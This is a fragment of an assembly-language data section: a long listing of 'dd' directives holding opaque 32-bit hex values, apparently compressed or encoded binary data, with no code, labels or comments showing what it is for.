		dd 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h, 0FCE488D1h
		dd 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh,	3CA900EDh
		dd 0FD3E8Bh, 9A708845h,	0C94F943Ah, 1241520Eh, 0F4538024h
		dd 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h, 5C033A78h
		dd 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh, 0F16886E4h
		dd 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch, 301BAD96h
		dd 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h, 45EB3E70h
		dd 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h, 2F58107Ah
		dd 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah, 0C0428820h
		dd 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh, 0BF94B054h
		dd 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh, 0EFFC6C75h
		dd 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh, 792C63F8h
		dd 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh, 7986E34Fh
		dd 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh, 14B67582h
		dd 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h, 6BB453FEh
		dd 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h, 30B83AA2h
		dd 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h, 0EF6D099Bh
		dd 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch, 55FC4492h
		dd 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h, 0B0381ACEh
		dd 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h, 0CB51ACFCh
		dd 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh, 31F9802Dh
		dd 1CE3543h, 9422274h, 0D9192436h, 0E910D137h, 1C85E83Ah
		dd 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h, 4D88982Bh
		dd 8669680h, 553D4126h,	0EB3B9C4Bh, 39F98443h, 8AEA0715h
		dd 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h, 51760084h
		dd 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch, 0E106097h
		dd 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h,	0ABF656Eh
		dd 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h, 0F32D91Bh
		dd 79E005Ch, 830E731Eh,	8D3E0401h, 0B490F485h, 8074F83Fh
		dd 0DC8265BEh, 0EDB71069h
		dd 774BC0h, 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h
		dd 7507846h, 70965534h,	0C6B75160h, 3ED7F092h, 0FCFC73Fh
		dd 61E9E0E5h, 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h,	0E958C08Fh
		dd 1CB82EF1h, 5C087D00h, 3F840ADh, 0B93500B4h, 0EF8B0689h
		dd 0A5EE795Dh, 4B437000h, 460307C0h, 0C3E0048h,	0F02B0A33h
		dd 0E800244Ch, 592556AFh, 12EB007h, 0C8471F8Ah,	0E44E4034h
		dd 49004423h, 16051F2h,	71EBB1h, 37195E3Ah, 2A41775h, 50A08900h
		dd 2ACAD555h, 7F230F40h, 0CF40D82Bh, 38C852EBh,	907C3903h
		dd 0BF366425h, 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh
		dd 0EB007534h, 0D04AD58Bh, 20BA61h, 0E36E9E65h,	408D85E1h
		dd 80CFAA00h, 423F3908h, 3A980F59h, 0FCBDE03Ch,	1B1FA2BCh
		dd 0C8D6ADB2h, 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h
		dd 0BFFE0156h, 30FB6C00h, 2F144184h, 4C453E06h,	0FA950072h
		dd 0C3F43CE9h, 3A00EEDBh, 100821FCh, 75188A74h,	931C0205h
		dd 9BE842BBh, 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh
		dd 0D9008275h, 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h
		dd 5424D207h, 0F5407F82h, 7995ECB4h, 0FC21771h,	20860F76h
		dd 9FAB7200h, 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h
		dd 89B62B00h, 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh
		dd 0A84ACE00h, 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh
		dd 0BC998EECh, 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h
		dd 5DADC815h, 0F9340031h, 7F1CE17Eh, 7300E90Eh,	0ECED33A5h
		dd 0FC0C8BA9h, 5C490036h, 12401D4Dh, 0E00BCC7h,	590546A1h
		dd 3D8F6F11h, 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah
		dd 0DF05FE52h, 51C71021h, 74288D30h, 6C030337h,	0E365FDCEh
		dd 22261993h, 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h
		dd 111F32E3h, 24400846h, 0BF2B4822h, 708B0044h,	2CEB256Dh
		dd 4E00A471h, 832019DFh, 79935145h, 0C0394B13h,	9216B691h
		dd 60230400h, 0CF542846h, 6AC50059h, 57AD8083h,	9700E0B6h
		dd 5FEB2CF9h, 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh
		dd 827C1CE8h, 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h
		dd 132C010Bh, 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h
		dd 0CC35C937h, 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h
		dd 42F75Dh, 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h
		dd 5F2400D5h, 39076010h, 50008402h, 56404D11h, 1E0A4218h
		dd 8069EB68h, 1032C765h, 481DF259h, 3FC10C50h, 9D423541h
		dd 54B5F0h, 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh
		dd 0ABE80041h, 59FFDE38h, 51E2109Fh, 60F06D00h,	36F79720h
		dd 40487A40h, 26513C92h, 0DC883081h, 84C95600h,	0CEAA34D6h
		dd 7FBF60Eh, 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h
		dd 0BF089916h, 438CA500h, 110C648h, 0AD4A3063h,	0E8A8C40Eh
		dd 0B2002A69h, 66771203h, 1DE740AAh, 7D957489h,	4FF00D80h
		dd 2032C175h, 6C013Eh, 29BCC951h, 78910868h, 3C960014h
		dd 850D2833h, 253E3DEDh, 0B92200DBh, 3A15D973h,	0DAFC20h
		dd 5F13F516h, 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh
		dd 0B01A37B2h, 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h
		dd 296145E4h, 808B8549h, 9B4482D3h, 0C489AE01h,	0F324DA12h
		dd 84AE0E7h, 38913922h,	7FA551BCh, 0F812D783h, 0FD4B31E0h
		dd 88C59701h, 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh
		dd 3F407DDCh, 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh,	0D0CE05A5h
		dd 58EC69F8h, 1DC7781Dh, 0C1E54043h, 7E8E0C08h,	94C5DE00h
		dd 0BBB32927h, 5CB10F66h, 4A606FBFh, 95FD7A2Eh,	7ECE42ECh
		dd 7CEB8717h, 0E4C2B5A0h, 43480047h, 580E11DDh,	8005104Dh
		dd 8DFCA54Bh, 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h
		dd 4B8A2FF4h, 74CBA8D9h, 575A0F00h, 0E8F64E0Eh,	7FED0024h
		dd 5DC62CBCh, 0CF7D6D08h, 3DE2183Fh, 271F7EDBh,	444E8EFAh
		dd 3B974014h, 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h
		dd 0E0CF203h, 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h
		dd 27BE3816h, 42A900F5h, 104759FBh, 0D20E4EC6h,	20761A3Ch
		dd 85EA1465h, 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h
		dd 5706C00h, 7868CB77h,	0F5740F4Ch, 27A0B3EEh, 56247614h
		dd 40E59D03h, 0B04ED74Bh, 734CC811h, 53C30042h,	49D82A21h
		dd 770740DEh, 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch
		dd 14000C20h, 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h
		dd 14046B22h, 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h
		dd 0C90AFCC7h, 9166D8A8h, 1CC1949Eh, 55DF10E2h,	77706871h
		dd 60EA4Dh, 0D57756A2h,	0A328E853h, 0EA43D00h, 0B0744301h
		dd 0E3BF0092h, 90AD9344h, 840080F3h, 1B6E7821h,	72997E4h
		dd 0D69C0979h, 421C8028h, 27038C3h, 9678732Eh, 6B1EDD00h
		dd 201018h, 0EB7C74A7h,	0BE433D23h, 577622E8h, 84932700h
		dd 0C697515Bh, 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h
		dd 0E9088D9Ch, 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah
		dd 326A9B05h, 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h
		dd 4D68809h, 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch
		dd 80960041h, 14819844h, 38000988h, 1C08119Ah, 467FE8h
		dd 109BB802h, 29A27436h, 8F32093Eh, 0C7A6219Ah,	0F830C458h
		dd 0E9006C3h, 0C605111h, 87B009A0h, 460410Eh, 7171860h
		dd 0A13600E8h, 8C1B0C02h, 1A00DC10h, 21CCB408h,	0EAD40984h
		dd 3A47519h, 201F4050h,	0D8F38088h, 23D0F0DFh, 1100A081h
		dd 4022E34h, 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch
		dd 22A4913Ch, 5C2074h, 942C4457h, 0F8116489h, 0BC026600h
		dd 6239DC26h, 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h
		dd 90C0204h, 0F460C124h, 7B38A320h, 0A8086164h,	0D4204137h
		dd 0B10ECCC6h, 66B8CB40h, 0E8C88D2h, 980870C8h,	11DC84E0h
		dd 0CC1D1B48h, 873FD9E0h, 1059E744h, 21F96050h,	2A18001Ch
		dd 0CC29ECA8h, 11315408h, 2B744824h, 0BE2330h, 75D17632h
		dd 14EC6405h, 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch
		dd 0A7C43818h, 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h
		dd 4C70253Ch, 0A8D1409Ch, 50437089h, 2007657Eh,	58488824h
		dd 51766CF1h, 74A46C80h, 0AC12DC89h, 6DFC2212h,	20462C00h
		dd 0C64B972h, 58755171h, 810AA3B8h, 0D5891744h,	0B8261D00h
		dd 1E117CC6h, 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh
		dd 6AC24225h, 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h
		dd 1558408Dh, 0C6010013h, 31181F84h, 821000Ch, 32032480h
		dd 52E048E6h, 746E7500h, 20656D69h, 0E27200E4h,	83DAE76Fh
		dd 0EAFC6101h, 863B3000h, 18455140h, 80112DBFh,	80191B57h
		dd 0B5413938h, 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh
		dd 319C0C56h, 0F8AE31B8h, 1007D430h, 1FC1F927h,	0F3911C23h
		dd 0E20AD81Eh, 1897001Dh, 7CF001ABh, 6C00A466h,	105AE433h
		dd 0B70907ECh, 3896DEh,	6C05265Ch, 4C185B66h, 7C006F74h
		dd 128C8984h, 9C092494h, 8791A448h, 0BCF3B475h,	0FBCCFBC4h
		dd 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h, 0C5C0140h,	1C121489h
		dd 2C48C424h
		dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh,	0F67C6F70h
		dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h
		dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h,	6411610Ch
		dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h
		dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h
		dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh
		dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h,	6301B811h
		dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h,	17A7877h
		dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh,	0A7AC0022h
		dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh
		dd 0C8101101h, 30912009h, 44312200h, 2F388C34h,	69070041h
		dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h,	1D2B90B8h
		dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h,	0ECD444BCh
		dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h
		dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h
		dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h,	5B78B424h
		dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h
		dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h
		dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch
		dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h,	0A43110BEh
		dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h,	0F849CCC8h
		dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h
		dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h
		dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h
		dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh
		dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h,	0C40B99B4h
		dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h,	2001C0ACh
		dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h,	1F401C80h
		dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h
		dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh
		dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh
		dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh,	5C874C3Eh
		dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h
		dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh,	20AE0004h
		dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h
		dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h,	0C4793310h
		dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h
		dd 5C809219h, 9300053h,	3C247214h, 89161260h, 6003992Ch
		dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah,	0D07411BCh
		dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch,	0D4889C12h
		dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h
		dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h,	2060A987h
		dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh
		dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh,	1B584CACh
		dd 69C6015Ah, 885BC33h,	1134F8h, 0D8A4F904h, 1C94A9DCh
		dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h
		dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h
		dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h,	6C61A973h
		dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h
		dd 995AC00h, 74329CDCh,	258C0261h, 20D84C2Ch, 90A4B740h
		dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch,	5BEAC55h
		dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h,	0FA5EC814h
		dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch
		dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh
		dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h,	93E7031h
		dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h,	32896A60h
		dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh
		dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h,	8196FE86h
		dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h
		dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h
		dd 41400F4h, 268C1C97h,	27B83411h, 4C00427Eh, 64445822h
		dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h
		dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h
		dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h
		dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h
		dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh
		dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h
		dd 0F8AEFB9Ch, 70154C8h, 0BF08E429h, 1E11C023h,	0AEA22C32h
		dd 4F64EDA4h, 3E7E2C74h, 0A612009Ah, 3430B025h,	7200656Bh
		dd 6C076E73h, 2E3233h, 10D45E64h, 7487473Eh, 0C9789Dh
		dd 0E66ECE1Eh, 1C0C6854h, 49646117h, 446DD300h,	0F83046h
		dd 69757243h, 617B63E4h, 0EB537E00h, 6E6F108Ch,	0CA4C2E31h
		dd 56170067h, 7EDA45E0h, 1895B000h, 27B6499Dh, 7AFC0124h
		dd 566735A5h, 75EC43F7h, 0EC46FE00h, 41A20E34h,	6F960382h
		dd 0D5E8C663h, 19DA1CD0h, 0A6001AF4h, 0CA51742Ah, 1079E4h
		dd 64695706h, 61683EBCh, 0D0548325h, 1D6C00F1h,	287942B8h
		dd 0C03AE34h, 98212ED5h, 7773F02Dh, 0DAA00074h,	4CE1416Eh
		dd 3E00630Ch, 87FD7970h, 17AD23Dh, 18740648h, 0CB726269h
		dd 612445F1h, 32E9CCB4h, 899B1D00h, 531223EDh, 88BA0097h
		dd 0AE27094h, 417C6F66h, 72504300h, 64713E7Bh, 735200CEh
		dd 4DC73634h, 8700FA6Fh, 61488E3Fh, 0CF96Eh, 18144F41h
		dd 4E086946h, 6D0057F8h, 565A5216h, 0F412544Dh,	459403A0h
		dd 0E4A6DC72h, 6DD35390h, 0A3938E00h, 3552A59Ah, 751B3F25h
		dd 2C0E1900h, 0ED08BE64h, 4D18B0E8h, 419C426Ah,	0FA730032h
		dd 0D33EC72Ah, 9900569Dh, 0A98A5724h, 0F19B080h, 0A6686E55h
		dd 46B2E7C0h, 440E703Ch, 0C033DA99h, 145374A4h,	501A0926h
		dd 0B800946Fh, 4F5C4562h, 3D9A6600h, 8CFFE0C3h,	0D4770082h
		dd 1F490CD3h, 7B041857h, 52F0ABF3h, 0A23066C0h,	90C6B864h
		dd 2DA100A0h, 227AD153h, 79288A4Eh, 6D0096BCh, 0E97E6954h
		dd 0F8C44F1Eh, 43220070h, 38527A4Bh, 0D47194D9h, 75CC4900h
		dd 0CA9B7214h, 324B0367h, 0BE406279h, 3AA664D0h, 3501917Dh
		dd 6EEF05EEh, 4DE80A67h, 619E00FFh, 6F428ABAh, 0A6024878h
		dd 7D4E9F11h, 0C80943B6h, 3F29767Bh, 4AA46970h,	326700F2h
		dd 9143565Ch, 20E4D00h,	9A4F29D9h, 0C06E39A6h, 21D41300h
		dd 8723DB89h, 58A7A00h,	29747561h, 70B50740h, 80A00DE4h
		dd 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h, 64534977h, 7F9A0028h
		dd 3905E4Ch, 0B009ADACh, 844DE965h, 0BBC7E5B0h,	458C02Eh
		dd 0A525D4h, 548FCC8Ah,	542849Ah, 9100B8E8h, 591B470Eh
		dd 15DA4Eh, 677A66C5h, 2A1749AAh, 9FE1B400h, 24125628h
		dd 0DE4C3F41h, 0ED641400h, 60934092h, 0E2CF5300h, 70476D75h
		dd 54F6006Ah, 0EF5210B9h, 536EC558h, 4C11A07Ah,	3D0A599Ch
		dd 3B9D3351h, 90084150h, 0C463CADEh, 772636B7h,	0A500C571h
		dd 0C105C91Ch, 0F9D0075h
		dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h
		dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh,	0A956F5F6h
		dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h
		dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh,	0CE4E456Eh
		dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h
		dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h,	5D005051h
		dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah,	696F76FCh
		dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h
		dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah
		dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh,	0FF825014h
		dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h,	9480B970h
		dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h
		dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh,	2658664h
		dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h,	41C0BAACh
		dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh
		dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh,	88222031h
		dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh
		dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh,	4878D8h
		dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h
		dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah,	7D6FAB26h
		dd 981A0C7Dh, 868B1A5h,	1FD6B701h, 2552EB7Eh, 858630h
		dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h
		dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h
		dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h
		dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah
		dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh
		dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h,	0E92A0022h
		dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h
		dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h
		dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah
		dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h,	7E0479Ch
		dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh
		dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h,	15471D27h
		dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h
		dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah
		dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh
		dd 303B1AE1h, 0D17FC9h,	0E0BDD99Fh, 0DC723CCFh,	3D0F1C00h
		dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh
		dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h
		dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh
		dd 8CC0007h, 3A309C3Bh,	1D00649Dh, 1E7D9E6Dh, 3A8B9F85h
		dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh
		dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h,	4600CA10h
		dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh
		dd 87F980EEh, 3083302h,	21471827h, 0F0017267h, 93C789A7h
		dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h,	0D1ABC98Dh
		dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah,	3F368349h
		dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh
		dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h
		dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh
		dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h
		dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h
		dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah
		dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh
		dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h
		dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h
		dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h,	0CA00D9BEh
		dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h
		dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h
		dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h,	32009D29h
		dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h
		dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh
		dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h
		dd 28C1206h, 345E00C3h,	0A33A9333h, 53B3441Eh, 67D35DC0h
		dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch,	0D31DCB9Dh
		dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh
		dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh,	4F8A0F82h
		dd 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h, 763B0074h
		dd 7A687843h, 7E717C70h, 9E758473h, 0D279AF77h,	0F07DE77Bh
		dd 0FA00F57Fh, 1B370D1Ch, 91D259Dh, 1E489E43h, 87675584h
		dd 678647B5h, 0AF96878Eh, 9F1E1FF3h, 9FB61FAEh,	9FC69FBEh
		dd 9FD69FCEh, 0A4E69FDEh, 80F61FFFh, 380687FEh,	1607270Eh
		dd 26671E47h, 36A52EA0h, 46EE0E4Fh, 56404ECFh, 661A0FD6h
		dd 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h
		dd 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h
		dd 4ECC3906h, 1E8E0016h, 2E0F26CFh, 8F00364Fh, 2746CB3Eh
		dd 14E75638h, 0F466E55Eh, 7EF27603h, 0F9D92EC9h, 6406C8F4h
		dd 0E8142C01h, 0F024EC1Ch, 0E1190DCh, 44FC3CF8h, 548E4C4Eh
		dd 640F5CCFh, 748F6C4Fh, 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh
		dd 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h,	3EEC3FE4h
		dd 40260F4h, 3A0C3B39h,	1C00143Ah, 2C3D243Ch, 3F77343Eh
		dd 4CE844E4h, 5C7A1B92h, 6C7E647Ch, 7C7E747Eh, 8C7E847Eh
		dd 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h, 24DC05D4h
		dd 4E87AAE4h, 487FC20h,	195B03Ch, 671C4714h, 602C8424h
		dd 253CC93h, 7CFEC77Fh,	40E884E7h, 7ED492A3h, 0CE74BC72h
		dd 0FE00CCFh, 80FA5FF4h, 7404723Dh, 140C7608h, 0BB481078h
		dd 1C396548h, 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh, 743F703Fh
		dd 2C64783Fh, 987C9280h, 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh
